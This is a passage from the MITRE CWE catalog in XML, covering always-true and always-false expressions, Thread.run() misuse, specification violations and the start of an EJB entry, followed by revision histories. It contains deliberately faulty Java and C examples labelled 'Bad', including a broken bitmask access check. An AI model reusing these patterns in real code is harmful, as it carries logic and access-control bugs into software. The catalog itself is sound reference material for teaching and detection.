               <Description>Use Static Analysis tools to spot such conditions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>public void updateUserAccountOrder(String productNumber, String accountNumber) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>boolean isValidProduct = false;<xhtml:br/>boolean isValidAccount = false;<xhtml:br/>
                           <xhtml:br/>if (validProductNumber(productNumber)) {<xhtml:div style="margin-left:1em;">isValidProduct = true;<xhtml:br/>updateInventory(productNumber);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">return;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if (validAccountNumber(accountNumber)) {<xhtml:div style="margin-left:1em;">isValidProduct = true;<xhtml:br/>updateAccount(accountNumber, productNumber);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if (isValidProduct &amp;&amp; isValidAccount) {<xhtml:div style="margin-left:1em;">updateAccountOrder(accountNumber, productNumber);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct &amp;&amp; isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.</Body_Text>
               <Body_Text>This can be easily corrected by updating the appropriate variable.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>...<xhtml:br/>if (validAccountNumber(accountNumber)) {<xhtml:div style="margin-left:1em;">isValidAccount = true;<xhtml:br/>updateAccount(accountNumber, productNumber);</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define BIT_READ 0x0001 // 00000001<xhtml:br/>#define BIT_WRITE 0x0010 // 00010000<xhtml:br/>
                     <xhtml:br/>unsigned int mask = BIT_READ &amp; BIT_WRITE; /* intended to use "|" */<xhtml:br/>
                     <xhtml:br/>// using "&amp;", mask = 00000000<xhtml:br/>// using "|", mask = 00010001<xhtml:br/>
                     <xhtml:br/>// determine if user has read and write access<xhtml:br/>int hasReadWriteAccess(unsigned int userMask) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>// if the userMask has read and write bits set<xhtml:br/>// then return 1 (true)<xhtml:br/>if (userMask &amp; mask) {<xhtml:div style="margin-left:1em;">return 1;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>// otherwise return 0 (false)<xhtml:br/>return 0;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.</Body_Text>
               <Body_Text>The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int updateInventory(char* productNumber, int numberOfItems) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>int initCount = getProductCount(productNumber);<xhtml:br/>
                           <xhtml:br/>int updatedCount = initCount + numberOfItems;<xhtml:br/>
                           <xhtml:br/>int updated = updateProductCount(updatedCount);<xhtml:br/>
                           <xhtml:br/>// if statement for debugging purposes only<xhtml:br/>if (1 == 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>char productName[128];<xhtml:br/>productName = getProductName(productNumber);<xhtml:br/>
                                 <xhtml:br/>printf("product %s initially has %d items in inventory \n", productName, initCount);<xhtml:br/>printf("adding %d items to inventory for %s \n", numberOfItems, productName);<xhtml:br/>
                                 <xhtml:br/>if (updated == 0) {<xhtml:div style="margin-left:1em;">printf("Inventory updated for product %s to %d items \n", productName, updatedCount);</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>else {<xhtml:div style="margin-left:1em;">printf("Inventory not updated for product: %s \n", productName);</xhtml:div>}<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return updated;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC00-C</Entry_ID>
               <Entry_Name>Compile cleanly at high warning levels</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="571" Name="Expression is Always True" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product contains an expression that will always evaluate to true.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="561" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use Static Analysis tools to spot such conditions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>public void updateInventory(String productNumber) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>boolean isProductAvailable = false;<xhtml:br/>boolean isDelayed = false;<xhtml:br/>
                           <xhtml:br/>if (productInStore(productNumber)) {<xhtml:div style="margin-left:1em;">isProductAvailable = true;<xhtml:br/>updateInStoreDatabase(productNumber);</xhtml:div>}<xhtml:br/>else if (productInWarehouse(productNumber)) {<xhtml:div style="margin-left:1em;">isProductAvailable = true;<xhtml:br/>updateInWarehouseDatabase(productNumber);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">isProductAvailable = true;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if ( isProductAvailable ) {<xhtml:div style="margin-left:1em;">updateProductDatabase(productNumber);</xhtml:div>}<xhtml:br/>else if ( isDelayed ) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>/* Warn customer about delay before order processing */</xhtml:i>
                                 <xhtml:br/>...</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC00-C</Entry_ID>
               <Entry_Name>Compile cleanly at high warning levels</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="572" Name="Call to Thread run() instead of start()" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.</Description>
         <Extended_Description>In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="821" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use the start() method instead of the run() method.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following excerpt from a Java program mistakenly calls run() instead of start().</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Thread thr = new Thread() {<xhtml:div style="margin-left:1em;">public void run() {<xhtml:div style="margin-left:1em;">...</xhtml:div>}</xhtml:div>};<xhtml:br/>
                     <xhtml:br/>thr.run();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>THI00-J</Entry_ID>
               <Entry_Name>Do not invoke Thread.run()</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Call to Thread.run()</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="573" Name="Improper Following of Specification by Caller" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.</Description>
         <Extended_Description>When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-7140</Reference>
               <Description>Crypto implementation removes padding when it shouldn't, allowing forged signatures</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7140</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4339</Reference>
               <Description>Crypto implementation removes padding when it shouldn't, allowing forged signatures</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4339</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MET10-J</Entry_ID>
               <Entry_Name>Follow the general contract when implementing the compareTo() method</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">Failure to Follow Specification</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="574" Name="EJB Bad Practices: Use of Synchronization Primitives" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.</Description>
         <Extended_Description>The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="695" View_ID="1000"/>
